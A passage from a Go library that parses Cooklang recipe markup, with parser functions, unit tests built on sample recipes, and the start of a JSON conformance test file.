recipe.Metadata[key] = value 356 | } else { 357 | step, err := p.parseRecipeLine(line) 358 | if err != nil { 359 | return err 360 | } 361 | recipe.Steps = append(recipe.Steps, *step) 362 | } 363 | p.pastFirstLine = true 364 | return nil 365 | } 366 | 367 | func parseSingleLineComment(line string) (string, error) { 368 | return strings.TrimSpace(line[2:]), nil 369 | } 370 | 371 | func parseMetadata(line string) (string, string, error) { 372 | metadataLine := strings.TrimSpace(line[2:]) 373 | index := strings.Index(metadataLine, metadataValueSeparator) 374 | if index < 1 { 375 | return "", "", fmt.Errorf("invalid metadata: %s", metadataLine) 376 | } 377 | return strings.TrimSpace(metadataLine[:index]), strings.TrimSpace(metadataLine[index+1:]), nil 378 | } 379 | 380 | func peek(s string) rune { 381 | r, _ := utf8.DecodeRuneInString(s) 382 | return r 383 | } 384 | 385 | func parseStepCB(line string, cb func(item any) (bool, error)) (string, error) { 386 | skipIndex := -1 387 | var directions strings.Builder 388 | var err error 389 | var skipNext int 390 | var ingredient *Ingredient 391 | var cookware *Cookware 392 | var timer *Timer 393 | var comment string 394 | var buffer strings.Builder 395 | for index, ch := range line { 396 | if skipIndex > index { 397 | continue 398 | } 399 | if ch == prefixIngredient { 400 | nextRune := peek(line[index+1:]) 401 | if nextRune != ' ' { 402 | if buffer.Len() > 0 { 403 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 404 | return directions.String(), err 405 | } 406 | buffer.Reset() 407 | } 408 | // ingredient ahead 409 | ingredient, skipNext, err = getIngredient(line[index:]) 410 | if err != nil { 411 | return directions.String(), err 412 | } 413 | skipIndex = index + skipNext 414 | directions.WriteString((*ingredient).Name) 415 | if stop, err := cb(*ingredient); err != nil || stop { 416 | return directions.String(), err 417 | } 418 | continue 419 | 420 | } 421 | } 422 | if ch == prefixCookware { 423 | nextRune := peek(line[index+1:]) 424 | if nextRune != ' ' { 425 | if buffer.Len() > 0 { 426 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 427 | return directions.String(), err 428 | } 429 | buffer.Reset() 430 | } 431 | // Cookware ahead 432 | cookware, skipNext, err = getCookware(line[index:]) 433 | if err != nil { 434 | return directions.String(), err 435 | } 436 | skipIndex = index + skipNext 437 | directions.WriteString((*cookware).Name) 438 | if stop, err := cb(*cookware); err != nil || stop { 439 | return directions.String(), err 440 | } 441 | continue 442 | } 443 | } 444 | if ch == prefixTimer { 445 | nextRune := peek(line[index+1:]) 446 | if nextRune != ' ' { 447 | if buffer.Len() > 0 { 448 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 449 | return directions.String(), err 450 | } 451 | buffer.Reset() 452 | } 453 | //timer ahead 454 | timer, skipNext, err = getTimer(line[index:]) 455 | if err != nil { 456 | return directions.String(), err 457 | } 458 | skipIndex = index + skipNext 459 | directions.WriteString(fmt.Sprintf("%v %s", (*timer).Duration, (*timer).Unit)) 460 | if stop, err := cb(*timer); err != nil || stop { 461 | return directions.String(), err 462 | } 463 | continue 464 | } 465 | } 466 | if ch == prefixBlockComment { 467 | nextRune := peek(line[index+1:]) 468 | if nextRune == '-' { 469 | if buffer.Len() > 0 { 470 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 471 | return directions.String(), err 472 | } 473 | buffer.Reset() 474 | } 475 | // block comment ahead 476 | comment, skipNext, err = getBlockComment(line[index:]) 477 | if err != nil { 478 | return directions.String(), err 479 | } 480 | skipIndex = index + skipNext 481 | if stop, err := cb(Comment{CommentTypeBlock, comment}); err != nil || stop { 482 | return directions.String(), err 483 | } 484 | continue 485 | } 486 | } 487 | if ch == prefixInlineComment { 488 | nextRune := peek(line[index+1:]) 489 | if nextRune == prefixInlineComment { 490 | if buffer.Len() > 0 { 491 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 492 | return directions.String(), err 493 | } 494 | buffer.Reset() 495 | } 496 | // end-line comment ahead 497 | comment = strings.TrimSpace(line[index+len(commentsLinePrefix):]) 498 | if err != nil { 499 | return directions.String(), err 500 | } 501 | if stop, err := cb(Comment{CommentTypeEndLine, comment}); err != nil || stop { 502 | return directions.String(), err 503 | } 504 | break 505 | } 506 | } 507 | // raw string 508 | buffer.WriteRune(ch) 509 | directions.WriteRune(ch) 510 | } 511 | if buffer.Len() > 0 { 512 | if stop, err := cb(newText(buffer.String())); err != nil || stop { 513 | return directions.String(), err 514 | } 515 | buffer.Reset() 516 | } 517 | return strings.TrimSpace(directions.String()), nil 518 | } 519 | 520 | func parseRecipeLine(line string) (*Step, error) { 521 | step := Step{ 522 | Timers: make([]Timer, 0), 523 | Ingredients: make([]Ingredient, 0), 524 | Cookware: make([]Cookware, 0), 525 | } 526 | var err error 527 | step.Directions, err = parseStepCB(line, func(item any) (bool, error) { 528 | switch v := item.(type) { 529 | case Timer: 530 | step.Timers = append(step.Timers, v) 531 | case Ingredient: 532 | step.Ingredients = append(step.Ingredients, v) 533 | case Cookware: 534 | step.Cookware = append(step.Cookware, v) 535 | case Text: 536 | // 537 | case Comment: 538 | step.Comments = append(step.Comments, v.Value) 539 | default: 540 | return true, fmt.Errorf("unknown type %T", v) 541 | } 542 | return false, nil 543 | }) 544 | if err != nil { 545 | return nil, err 546 | } 547 | return &step, nil 548 | } 549 | 550 | func (p *ParserV2) parseRecipeLine(line string) (*StepV2, error) { 551 | step := StepV2{} 552 | var err error 553 | _, err = parseStepCB(line, func(item any) (bool, error) { 554 | switch v := item.(type) { 555 | case Timer: 556 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeTimer) { 557 | step = append(step, v.asTimerV2()) 558 | } 559 | case Ingredient: 560 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeIngredient) { 561 | step = append(step, v.asIngredientV2()) 562 | } 563 | case Cookware: 564 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeCookware) { 565 | step = append(step, v.asCookwareV2()) 566 | } 567 | case Text: 568 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeText) { 569 | step = append(step, v.asTextV2()) 570 | } 571 | case Comment: 572 | if !slices.Contains(p.config.IgnoreTypes, ItemTypeComment) { 573 | step = append(step, v) 574 | } 575 | default: 576 | return true, fmt.Errorf("unknown type %T", v) 577 | } 578 | return false, nil 579 | }) 580 | if err != nil { 581 | return nil, err 582 | } 583 | return &step, nil 584 | } 585 | 586 | func getCookware(line string) (*Cookware, int, error) { 587 | endIndex := findNodeEndIndex(line) 588 | Cookware, err := getCookwareFromRawString(line[1:endIndex]) 589 | return Cookware, endIndex, err 590 | } 591 | 592 | func getIngredient(line string) (*Ingredient, int, error) { 593 | endIndex := findNodeEndIndex(line) 594 | ingredient, err := getIngredientFromRawString(line[1:endIndex]) 595 | return ingredient, endIndex, err 596 | } 597 | 598 | func getTimer(line string) (*Timer, int, error) { 599 | endIndex := findNodeEndIndex(line) 600 | timer, err := getTimerFromRawString(line[1:endIndex]) 601 | return timer, endIndex, err 602 | } 603 | 604 | func getBlockComment(s string) (string, int, error) { 605 | index := strings.Index(s, "-]") 606 | if index == -1 { 607 | return "", 0, fmt.Errorf("invalid block comment") 608 | } 609 | return strings.TrimSpace(s[2:index]), index + 2, nil 610 | } 611 | 612 | func getFloat(s string) (bool, float64, error) { 613 | var fl float64 614 | var err error 615 | trimmedValue := strings.TrimSpace(s) 616 | if trimmedValue == "" { 617 | return false, 0, nil 618 | } 619 | index := strings.Index(trimmedValue, "/") 620 | if index == -1 { 621 | fl, err = strconv.ParseFloat(trimmedValue, 64) 622 | return err == nil, fl, err 623 | } 624 | var numerator int 625 | var denominator int 626 | numerator, err = strconv.Atoi(strings.TrimSpace(trimmedValue[:index])) 627 | if err != nil { 628 | return false, 0, err 629 | } 630 | 631 | denominator, err = strconv.Atoi(strings.TrimSpace(trimmedValue[index+1:])) 632 | if err != nil { 633 | return false, 0, err 634 | } 635 | return true, float64(numerator) / float64(denominator), nil 636 | } 637 | 638 | func findNodeEndIndex(line string) int { 639 | endIndex := -1 640 | 641 | for index, ch := range line { 642 | if index == 0 { 643 | continue 644 | } 645 | if (ch == prefixCookware || ch == prefixIngredient || ch == prefixTimer || ch == prefixBlockComment) && endIndex == -1 { 646 | break 647 | } 648 | if ch == '}' { 649 | endIndex = index + 1 650 | break 651 | } 652 | } 653 | if endIndex == -1 { 654 | endIndex = strings.Index(line, " ") 655 | if endIndex == -1 { 656 | endIndex = len(line) 657 | } 658 | } 659 | return endIndex 660 | } 661 | 662 | func getIngredientFromRawString(s string) (*Ingredient, error) { 663 | index := strings.Index(s, "{") 664 | if index == -1 { 665 | return &Ingredient{Name: s, Amount: IngredientAmount{Quantity: 1}}, nil 666 | } 667 | amount, err := getAmount(s[index+1:len(s)-1], 0) 668 | if err != nil { 669 | return nil, err 670 | } 671 | return &Ingredient{Name: s[:index], Amount: *amount}, nil 672 | } 673 | 674 | func getAmount(s string, defaultValue float64) (*IngredientAmount, error) { 675 | if s == "" { 676 | return &IngredientAmount{Quantity: defaultValue, QuantityRaw: "", IsNumeric: false}, nil 677 | } 678 | index := strings.Index(s, "%") 679 | if index == -1 { 680 | isNumeric, f, _ := getFloat(s) 681 | if !isNumeric { 682 | f = defaultValue 683 | } 684 | return &IngredientAmount{Quantity: f, QuantityRaw: strings.TrimSpace(s), IsNumeric: isNumeric}, nil 685 | } 686 | isNumeric, f, _ := getFloat(s[:index]) 687 | if !isNumeric { 688 | f = defaultValue 689 | } 690 | return &IngredientAmount{Quantity: f, QuantityRaw: strings.TrimSpace(s[:index]), Unit: strings.TrimSpace(s[index+1:]), IsNumeric: isNumeric}, nil 691 | } 692 | 693 | func getCookwareFromRawString(s string) (*Cookware, error) { 694 | index := strings.Index(s, "{") 695 | if index == -1 { 696 | return &Cookware{Name: s, Quantity: 1}, nil 697 | } 698 | amount, err := getAmount(s[index+1:len(s)-1], 1) 699 | if err != nil { 700 | return nil, err 701 | } 702 | return &Cookware{Name: s[:index], Quantity: amount.Quantity, IsNumeric: amount.IsNumeric, QuantityRaw: amount.QuantityRaw}, nil 703 | } 704 | 705 | func getTimerFromRawString(s string) (*Timer, error) { 706 | name := "" 707 | index := strings.Index(s, "{") 708 | if index > -1 { 709 | name = strings.TrimSpace(s[:index]) 710 | s = s[index+1:] 711 | } 712 | index = strings.Index(s, "%") 713 | if index == -1 { 714 | return &Timer{Name: s, Duration: 0, Unit: ""}, nil 715 | } 716 | isNumeric, f, err := getFloat(s[:index]) 717 | if err != nil { 718 | return nil, err 719 | } 720 | if !isNumeric { 721 | return &Timer{Name: name, Duration: 0, Unit: s[index+1 : len(s)-1]}, nil 722 | } 723 | return &Timer{Name: name, Duration: f, Unit: s[index+1 : len(s)-1]}, nil 724 | } 725 | -------------------------------------------------------------------------------- /parser_test.go: -------------------------------------------------------------------------------- 1 | package cooklang 2 | 3 | import ( 4 | "reflect" 5 | "strings" 6 | "testing" 7 | ) 8 | 9 | func TestParseString(t *testing.T) { 10 | tests := []struct { 11 | name string 12 | recipe string 13 | want *Recipe 14 | wantErr bool 15 | }{ 16 | { 17 | "Works with inline comments", 18 | `-- Don't burn the roux! 19 | 20 | Mash @potato{2%kg} until smooth -- alternatively, boil 'em first, then mash 'em, then stick 'em in a stew.`, 21 | &Recipe{ 22 | Steps: []Step{ 23 | { 24 | Comments: []string{ 25 | "Don't burn the roux!", 26 | }, 27 | }, 28 | { 29 | Ingredients: []Ingredient{ 30 | { 31 | Name: "potato", 32 | Amount: IngredientAmount{true, 2.0, "2", "kg"}, 33 | }, 34 | }, 35 | Timers: []Timer{}, 36 | Cookware: []Cookware{}, 37 | Directions: "Mash potato until smooth", 38 | Comments: []string{"alternatively, boil 'em first, then mash 'em, then stick 'em in a stew."}, 39 | }, 40 | }, 41 | Metadata: make(Metadata), 42 | }, 43 | false, 44 | }, 45 | { 46 | "Empty string returns an error", 47 | "", 48 | nil, 49 | true, 50 | }, 51 | { 52 | "Parses single line comments", 53 | "--This is a comment", 54 | &Recipe{ 55 | Steps: []Step{ 56 | { 57 | Comments: []string{"This is a comment"}, 58 | }, 59 | }, 60 | Metadata: make(Metadata), 61 | }, 62 | false, 63 | }, 64 | { 65 | "Parses metadata", 66 | ">> key: value", 67 | &Recipe{ 68 | Steps: []Step{}, 69 | Metadata: Metadata{ 70 | "key": "value", 71 | }, 72 | }, 73 | false, 74 | }, 75 | { 76 | "Parses recipe line", 77 | "Place @bacon strips{1%kg} on a baking sheet and glaze with @syrup{1.2%tbsp}.", 78 | &Recipe{ 79 | Steps: []Step{ 80 | { 81 | Directions: "Place bacon strips on a baking sheet and glaze with syrup.", 82 | Ingredients: []Ingredient{ 83 | { 84 | Name: "bacon strips", 85 | Amount: IngredientAmount{true, 1.0, "1", "kg"}, 86 | }, 87 | { 88 | Name: "syrup", 89 | Amount: IngredientAmount{true, 1.2, "1.2", "tbsp"}, 90 | }, 91 | }, 92 | Timers: []Timer{}, 93 | Cookware: []Cookware{}, 94 | }, 95 | }, 96 | Metadata: make(Metadata), 97 | }, 98 | false, 99 | }, 100 | { 101 | "Parses recipe line with no qty", 102 | "Top with @1000 island dressing{ }", 103 | &Recipe{ 104 | Steps: []Step{ 105 | { 106 | Directions: "Top with 1000 island dressing", 107 | Ingredients: []Ingredient{ 108 | { 109 | Name: "1000 island dressing", 110 | Amount: IngredientAmount{false, 0.0, "", ""}, 111 | }, 112 | }, 113 | Timers: []Timer{}, 114 | Cookware: []Cookware{}, 115 | }, 116 | }, 117 | Metadata: make(Metadata), 118 | }, 119 | false, 120 | }, 121 | { 122 | "Parses Cookware", 123 | "Place the beacon on the #stove and mix with a #standing mixer{} or #fork{2}. Then use #frying pan{three} or #frying pot{two small}", 124 | &Recipe{ 125 | Steps: []Step{ 126 | { 127 | Directions: "Place the beacon on the stove and mix with a standing mixer or fork. Then use frying pan or frying pot", 128 | Ingredients: []Ingredient{}, 129 | Timers: []Timer{}, 130 | Cookware: []Cookware{ 131 | {Name: "stove", Quantity: 1, IsNumeric: false}, 132 | {Name: "standing mixer", Quantity: 1, IsNumeric: false}, 133 | {Name: "fork", Quantity: 2, QuantityRaw: "2", IsNumeric: true}, 134 | {Name: "frying pan", Quantity: 1, QuantityRaw: "three", IsNumeric: false}, 135 | {Name: "frying pot", Quantity: 1, QuantityRaw: "two small", IsNumeric: false}, 136 | }, 137 | }, 138 | }, 139 | Metadata: make(Metadata), 140 | }, 141 | false, 142 | }, 143 | { 144 | "Parses Timers", 145 | "Place the beacon in the oven for ~{20%minutes}.", 146 | &Recipe{ 147 | Steps: []Step{ 148 | { 149 | Directions: "Place the beacon in the oven for 20 minutes.", 150 | Ingredients: []Ingredient{}, 151 | Timers: []Timer{{"", 20.00, "minutes"}}, 152 | Cookware: []Cookware{}, 153 | }, 154 | }, 155 | Metadata: make(Metadata), 156 | }, 157 | false, 158 | }, 159 | { 160 | "Full recipe", 161 | `>> servings: 6 162 | 163 | Make 6 pizza balls using @tipo zero flour{820%g}, @water{533%ml}, @salt{24.6%g} and @fresh yeast{1.6%g}. Put in a #fridge for ~{2%days}. 164 | 165 | Set #oven to max temperature and heat #pizza stone{} for about ~{40%minutes}. 166 | 167 | Make some tomato sauce with @chopped tomato{3%cans} and @garlic{3%cloves} and @dried oregano{3%tbsp}. Put on a #pan and leave for ~{15%minutes} occasionally stirring. 168 | 169 | Make pizzas putting some tomato sauce with #spoon on top of flattened dough. Add @fresh basil{18%leaves}, @parma ham{3%packs} and @mozzarella{3%packs}. 170 | 171 | Put in an #oven for ~{4%minutes}.`, 172 | &Recipe{ 173 | Steps: []Step{ 174 | { 175 | Directions: "Make 6 pizza balls using tipo zero flour, water, salt and fresh yeast. Put in a fridge for 2 days.", 176 | Timers: []Timer{{Duration: 2, Unit: "days"}}, 177 | Ingredients: []Ingredient{ 178 | {Name: "tipo zero flour", Amount: IngredientAmount{true, 820., "820", "g"}}, 179 | {Name: "water", Amount: IngredientAmount{true, 533, "533", "ml"}}, 180 | {Name: "salt", Amount: IngredientAmount{true, 24.6, "24.6", "g"}}, 181 | {Name: "fresh yeast", Amount: IngredientAmount{true, 1.6, "1.6", "g"}}, 182 | }, 183 | Cookware: []Cookware{{Name: "fridge", Quantity: 1, IsNumeric: false, QuantityRaw: ""}}, 184 | }, 185 | { 186 | Directions: "Set oven to max temperature and heat pizza stone for about 40 minutes.", 187 | Timers: []Timer{{Duration: 40, Unit: "minutes"}}, 188 | Ingredients: []Ingredient{}, 189 | Cookware: []Cookware{ 190 | {Name: "oven", Quantity: 1, IsNumeric: false, QuantityRaw: ""}, 191 | {Name: "pizza stone", Quantity: 1, IsNumeric: false, QuantityRaw: ""}, 192 | }, 193 | }, 194 | { 195 | Directions: "Make some tomato sauce with chopped tomato and garlic and dried oregano. Put on a pan and leave for 15 minutes occasionally stirring.", 196 | Timers: []Timer{{Duration: 15, Unit: "minutes"}}, 197 | Ingredients: []Ingredient{ 198 | {Name: "chopped tomato", Amount: IngredientAmount{true, 3, "3", "cans"}}, 199 | {Name: "garlic", Amount: IngredientAmount{true, 3, "3", "cloves"}}, 200 | {Name: "dried oregano", Amount: IngredientAmount{true, 3, "3", "tbsp"}}, 201 | }, 202 | Cookware: []Cookware{{Name: "pan", Quantity: 1, IsNumeric: false, QuantityRaw: ""}}, 203 | }, 204 | { 205 | Directions: "Make pizzas putting some tomato sauce with spoon on top of flattened dough. Add fresh basil, parma ham and mozzarella.", 206 | Timers: []Timer{}, 207 | Ingredients: []Ingredient{ 208 | {Name: "fresh basil", Amount: IngredientAmount{true, 18, "18", "leaves"}}, 209 | {Name: "parma ham", Amount: IngredientAmount{true, 3, "3", "packs"}}, 210 | {Name: "mozzarella", Amount: IngredientAmount{true, 3, "3", "packs"}}, 211 | }, 212 | Cookware: []Cookware{{Name: "spoon", Quantity: 1, IsNumeric: false, QuantityRaw: ""}}, 213 | }, 214 | { 215 | Directions: "Put in an oven for 4 minutes.", 216 | Timers: []Timer{{Duration: 4, Unit: "minutes"}}, 217 | Ingredients: []Ingredient{}, 218 | Cookware: []Cookware{{Name: "oven", Quantity: 1, IsNumeric: false, QuantityRaw: ""}}, 219 | }, 220 | }, 221 | Metadata: Metadata{"servings": "6"}, 222 | }, 223 | false, 224 | }, 225 | { 226 | "Parses block comments", 227 | "Text [- with block comment -] rules", 228 | &Recipe{ 229 | Steps: []Step{ 230 | { 231 | Directions: "Text rules", 232 | Comments: []string{"with block comment"}, 233 | Timers: []Timer{}, 234 | Ingredients: []Ingredient{}, 235 | Cookware: []Cookware{}, 236 | }, 237 | }, 238 | Metadata: make(Metadata), 239 | }, 240 | false, 241 | }, 242 | } 243 | for _, tt := range tests { 244 | t.Run(tt.name, func(t *testing.T) { 245 | got, err := ParseString(tt.recipe) 246 | if (err != nil) != tt.wantErr { 247 | t.Errorf("ParseString() error = %v, wantErr %v", err, tt.wantErr) 248 | return 249 | } 250 | if !reflect.DeepEqual(got, tt.want) { 251 | t.Errorf("ParseString() = %#v, want %#v", got, tt.want) 252 | } 253 | }) 254 | } 255 | } 256 | 257 | func Test_findIngredient(t *testing.T) { 258 | tests := []struct { 259 | name string 260 | line string 261 | want string 262 | endIndex int 263 | }{ 264 | { 265 | "works with single word ingredients", 266 | "@word1 word2", 267 | "word1", 268 | 6, 269 | }, 270 | { 271 | "works with multiple words ingredients", 272 | "@word1 word2{}", 273 | "word1 word2{}", 274 | 14, 275 | }, 276 | { 277 | "works with multiple words ingredients with quantities", 278 | "@word1 word2{1%kg}", 279 | "word1 word2{1%kg}", 280 | 18, 281 | }, 282 | { 283 | "works when there are more then one ingredient", 284 | "@word1 test @word2{1%kg}", 285 | "word1", 286 | 6, 287 | }, 288 | { 289 | "works when the ingredient is at the end of the line", 290 | "@word1", 291 | "word1", 292 | 6, 293 | }, 294 | { 295 | "works when multi word ingredient is at the end of the line", 296 | "@word1{1%kg}", 297 | "word1{1%kg}", 298 | 12, 299 | }, 300 | } 301 | for _, tt := range tests { 302 | t.Run(tt.name, func(t *testing.T) { 303 | got := findNodeEndIndex(tt.line) 304 | raw := tt.line[1:got] 305 | if raw != tt.want { 306 | t.Errorf("findNodeEndIndex() got = %v, want %v", raw, tt.want) 307 | } 308 | if got != tt.endIndex { 309 | t.Errorf("findNodeEndIndex() got1 = %v, want %v", got, tt.endIndex) 310 | } 311 | }) 312 | } 313 | } 314 | 315 | func Test_getTimer(t *testing.T) { 316 | type args struct { 317 | line string 318 | } 319 | tests := []struct { 320 | name string 321 | args args 322 | want *Timer 323 | wantErr bool 324 | }{ 325 | { 326 | "Gets named timer", 327 | args{ 328 | "~potato{42%minutes}", 329 | }, 330 | &Timer{ 331 | "potato", 332 | 42, 333 | "minutes", 334 | }, 335 | false, 336 | }, 337 | { 338 | "Gets unn-named timer", 339 | args{ 340 | "~{42%minutes}", 341 | }, 342 | &Timer{ 343 | "", 344 | 42, 345 | "minutes", 346 | }, 347 | false, 348 | }, 349 | } 350 | for _, tt := range tests { 351 | t.Run(tt.name, func(t *testing.T) { 352 | got, _, err := getTimer(tt.args.line) 353 | if (err != nil) != tt.wantErr { 354 | t.Errorf("getTimer() error = %v, wantErr %v", err, tt.wantErr) 355 | return 356 | } 357 | if !reflect.DeepEqual(got, tt.want) { 358 | t.Errorf("getTimer() got = %v, want %v", got, tt.want) 359 | } 360 | }) 361 | } 362 | } 363 | 364 | func TestFrontMatter(t *testing.T) { 365 | in := `--- 366 | title: food dish 367 | tags: 368 | - vegan 369 | - vegetarian 370 | - delicious 371 | --- 372 | 373 | Mash @banana{1%large} and eat it.` 374 | 375 | r, err := NewParserV2(&ParseV2Config{}).ParseString(in) 376 | if err != nil { 377 | t.Error(err) 378 | t.FailNow() 379 | } else { 380 | if len(r.Steps) != 1 { 381 | t.Errorf("wrong steps - expected 1 got %d", len(r.Steps)) 382 | } else { 383 | 384 | } 385 | if len(r.Metadata) != 2 { 386 | t.Errorf("wrong metadata - expected 2 got %d", len(r.Metadata)) 387 | } else { 388 | if r.Metadata["title"] != "food dish" { 389 | t.Error("wrong title") 390 | } 391 | t.Logf("%T => %#v", r.Metadata["tags"], r.Metadata["tags"]) 392 | if tags, ok := r.Metadata["tags"]; ok { 393 | if tagsArray, ok := tags.([]any); ok { 394 | if len(tagsArray) != 3 { 395 | t.Errorf("wrong number of tags - expected 3 got %d", len(tagsArray)) 396 | } else { 397 | if tagsArray[0] != "vegan" { 398 | t.Error("0 index tag wrong") 399 | } 400 | if tagsArray[1] != "vegetarian" { 401 | t.Error("1 index tag wrong") 402 | } 403 | if tagsArray[2] != "delicious" { 404 | t.Error("2 index tag wrong") 405 | } 406 | } 407 | } else { 408 | t.Error("not right type for tags") 409 | } 410 | } else { 411 | t.Error("tags field missing") 412 | } 413 | } 414 | } 415 | } 416 | 417 | func TestBadFrontMatter(t *testing.T) { 418 | in := `--- 419 | title: food dish 420 | invalid yaml :-) 421 | --- 422 | 423 | Mash @banana{1%large} and eat it.` 424 | 425 | _, err := NewParserV2(&ParseV2Config{}).ParseString(in) 426 | if err == nil { 427 | t.Error("expected parsing error") 428 | t.FailNow() 429 | } else { 430 | exp := "decoding yaml front matter" 431 | if !strings.Contains(err.Error(), exp) { 432 | t.Errorf("wrong error, expected '%s' got '%s'", exp, err.Error()) 433 | } 434 | } 435 | } 436 | 437 | func TestBadFrontMatterNotAtTop(t *testing.T) { 438 | in := ` 439 | Cook and mash @potato. 440 | 441 | --- 442 | title: food dish 443 | --- 444 | 445 | Mash @banana{1%large} and eat it.` 446 | 447 | r, err := NewParserV2(&ParseV2Config{}).ParseString(in) 448 | if err != nil { 449 | t.Error("unexpected parsing error") 450 | t.FailNow() 451 | } else { 452 | if len(r.Metadata) != 0 { 453 | t.Error("got metadata when expected none") 454 | } 455 | } 456 | } 457 | -------------------------------------------------------------------------------- /spec/README.md: -------------------------------------------------------------------------------- 1 | # Spec tests 2 | 3 | `canonical.json` generated from the yaml spec using: 4 | 5 | ```sh 6 | curl -s https://raw.githubusercontent.com/cooklang/spec/main/tests/canonical.yaml | yq > canonical.json 7 | ``` 8 | -------------------------------------------------------------------------------- /spec/canonical.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 7, 3 | "tests": { 4 | "testBasicDirection": { 5 | "source": "Add a bit of chilli\n", 6 | "result": { 7 | "steps": [ 8 | [ 9 | { 10 | "type": "text", 11 | "value": "Add a bit of chilli" 12 | } 13 | ] 14 | ], 15 | "metadata": {} 16 | } 17 | }, 18 | "testComments": { 19 | "source": "-- testing comments\n", 20 | "result": { 21 | "steps": [], 22 | "metadata": {} 23 | } 24 | }, 25 | "testCommentsAfterIngredients": { 26 | "source": "@thyme{2%sprigs} -- testing comments\nand some text\n", 27 | "result": { 28 | "steps": [ 29 | [ 30 | { 31 | "type": "ingredient", 32 | "name": "thyme", 33 | "quantity": 2, 34 | "units": "sprigs" 35 | }, 36 | { 37 | "type": "text", 38 | "value": " and some text" 39 | } 40 | ] 41 | ], 42 | "metadata": {} 43 | } 44 | }, 45 | "testCommentsWithIngredients": { 46 | "source": "-- testing comments\n@thyme{2%sprigs}\n", 47 | "result": { 48 | "steps": [ 49 | [ 50 | { 51 | "type": "ingredient", 52 | "name": "thyme", 53 | "quantity": 2, 54 | "units": "sprigs" 55 | } 56 | ] 57 | ], 58 | "metadata": {} 59 | } 60 | }, 61 | "testDirectionsWithDegrees": { 62 | "source": "Heat oven up to 200°C\n", 63 | "result": { 64 | "steps": [ 65 | [ 66 | { 67 | "type": "text", 68 | "value": "Heat oven up to 200°C" 69 | } 70 | ] 71 | ], 72 | "metadata": {} 73 | } 74 | }, 75 | "testDirectionsWithNumbers": { 76 | "source": "Heat 5L of water\n", 77 | "result": { 78 | "steps": [ 79 | [ 80 | { 81 | "type": "text", 82 | "value": "Heat 5L of water" 83 | } 84 | ] 85 | ], 86 | "metadata": {} 87 | } 88 | }, 89 | "testDirectionWithIngredient": { 90 | "source": "Add @chilli{3%items}, @ginger{10%g} and @milk{1%l}.\n", 91 | "result": { 92 | "steps": [ 93 | [ 94 | { 95 | "type": "text", 96 | "value": "Add " 97 | }, 98 | { 99 | "type": "ingredient", 100 | "name": "chilli", 101 | "quantity": 3, 102 | "units": "items" 103 | }, 104 | { 105 | "type": "text", 106 | "value": ", " 107 | }, 108 | { 109 | "type": "ingredient", 110 | "name": "ginger", 111 | "quantity": 10, 112 | "units": "g" 113 | }, 114 | { 115 | "type": "text", 116 | "value": " and " 117 | }, 118 | { 119 | "type": "ingredient", 120 | "name": "milk", 121 | "quantity": 1, 122 | "units": "l" 123 | }, 124 | { 125 | "type": "text", 126 | "value": "." 127 | } 128 | ] 129 | ], 130 | "metadata": {} 131 | } 132 | }, 133 | "testEquipmentMultipleWords": { 134 | "source": "Fry in #frying pan{}\n", 135 | "result": { 136 | "steps": [ 137 | [ 138 | { 139 | "type": "text", 140 | "value": "Fry in " 141 | }, 142 | { 143 | "type": "cookware", 144 | "name": "frying pan", 145 | "quantity": 1 146 | } 147 | ] 148 | ], 149 | "metadata": {} 150 | } 151 | }, 152 | "testEquipmentMultipleWordsWithLeadingNumber": { 153 | "source": "Fry in #7-inch nonstick frying pan{ }\n", 154 | "result": { 155 | "steps": [ 156 | [ 157 | { 158 | "type": "text", 159 | "value": "Fry in " 160 | }, 161 | { 162 | "type": "cookware", 163 | "name": "7-inch nonstick frying pan", 164 | "quantity": 1 165 | } 166 | ] 167 | ], 168 | "metadata": {} 169 | } 170 | }, 171 | "testEquipmentMultipleWordsWithSpaces": { 172 | "source": "Fry in #frying pan{ }\n", 173 | "result": { 174 | "steps": [ 175 | [ 176 | { 177 | "type": "text", 178 | "value": "Fry in " 179 | }, 180 | { 181 | "type": "cookware", 182 | "name": "frying pan", 183 | "quantity": 1 184 | } 185 | ] 186 | ], 187 | "metadata": {} 188 | } 189 | }, 190 | "testEquipmentOneWord": { 191 | "source": "Simmer in #pan for some time\n", 192 | "result": { 193 | "steps": [ 194 | [ 195 | { 196 | "type": "text", 197 | "value": "Simmer in " 198 | }, 199 | { 200 | "type": "cookware", 201 | "name": "pan", 202 | "quantity": 1 203 | }, 204 | { 205 | "type": "text", 206 | "value": " for some time" 207 | } 208 | ] 209 | ], 210 | "metadata": {} 211 | } 212 | }, 213 | "testEquipmentQuantity": { 214 | "source": "#frying pan{2}\n", 215 | "result": { 216 | "steps": [ 217 | [ 218 | { 219 | "type": "cookware", 220 | "name": "frying pan", 221 | "quantity": 2 222 | } 223 | ] 224 | ], 225 | "metadata": {} 226 | } 227 | }, 228 | "testEquipmentQuantityOneWord": { 229 | "source": "#frying pan{three}\n", 230 | "result": { 231 | "steps": [ 232 | [ 233 | { 234 | "type": "cookware", 235 | "name": "frying pan", 236 | "quantity": "three" 237 | } 238 | ] 239 | ], 240 | "metadata": {} 241 | } 242 | }, 243 | "testEquipmentQuantityMultipleWords": { 244 | "source": "#frying pan{two small}\n", 245 | "result": { 246 | "steps": [ 247 | [ 248 | { 249 | "type": "cookware", 250 | "name": "frying pan", 251 | "quantity": "two small" 252 | } 253 | ] 254 | ], 255 | "metadata": {} 256 | } 257 | }, 258 | "testFractions": { 259 | "source": "@milk{1/2%cup}\n", 260 | "result": { 261 | "steps": [ 262 | [ 263 | { 264 | "type": "ingredient", 265 | "name": "milk", 266 | "quantity": 0.5, 267 | "units": "cup" 268 | } 269 | ] 270 | ], 271 | "metadata": {} 272 | } 273 | }, 274 | "testFractionsInDirections": { 275 | "source": "knife cut about every 1/2 inches\n", 276 | "result": { 277 | "steps": [ 278 | [ 279 | { 280 | "type": "text", 281 | "value": "knife cut about every 1/2 inches" 282 | } 283 | ] 284 | ], 285 | "metadata": {} 286 | } 287 | }, 288 | "testFractionsLike": { 289 | "source": "@milk{01/2%cup}\n", 290 | "result": { 291 | "steps": [ 292 | [ 293 | { 294 | "type": "ingredient", 295 | "name": "milk", 296 | "quantity": "01/2", 297 | "units": "cup" 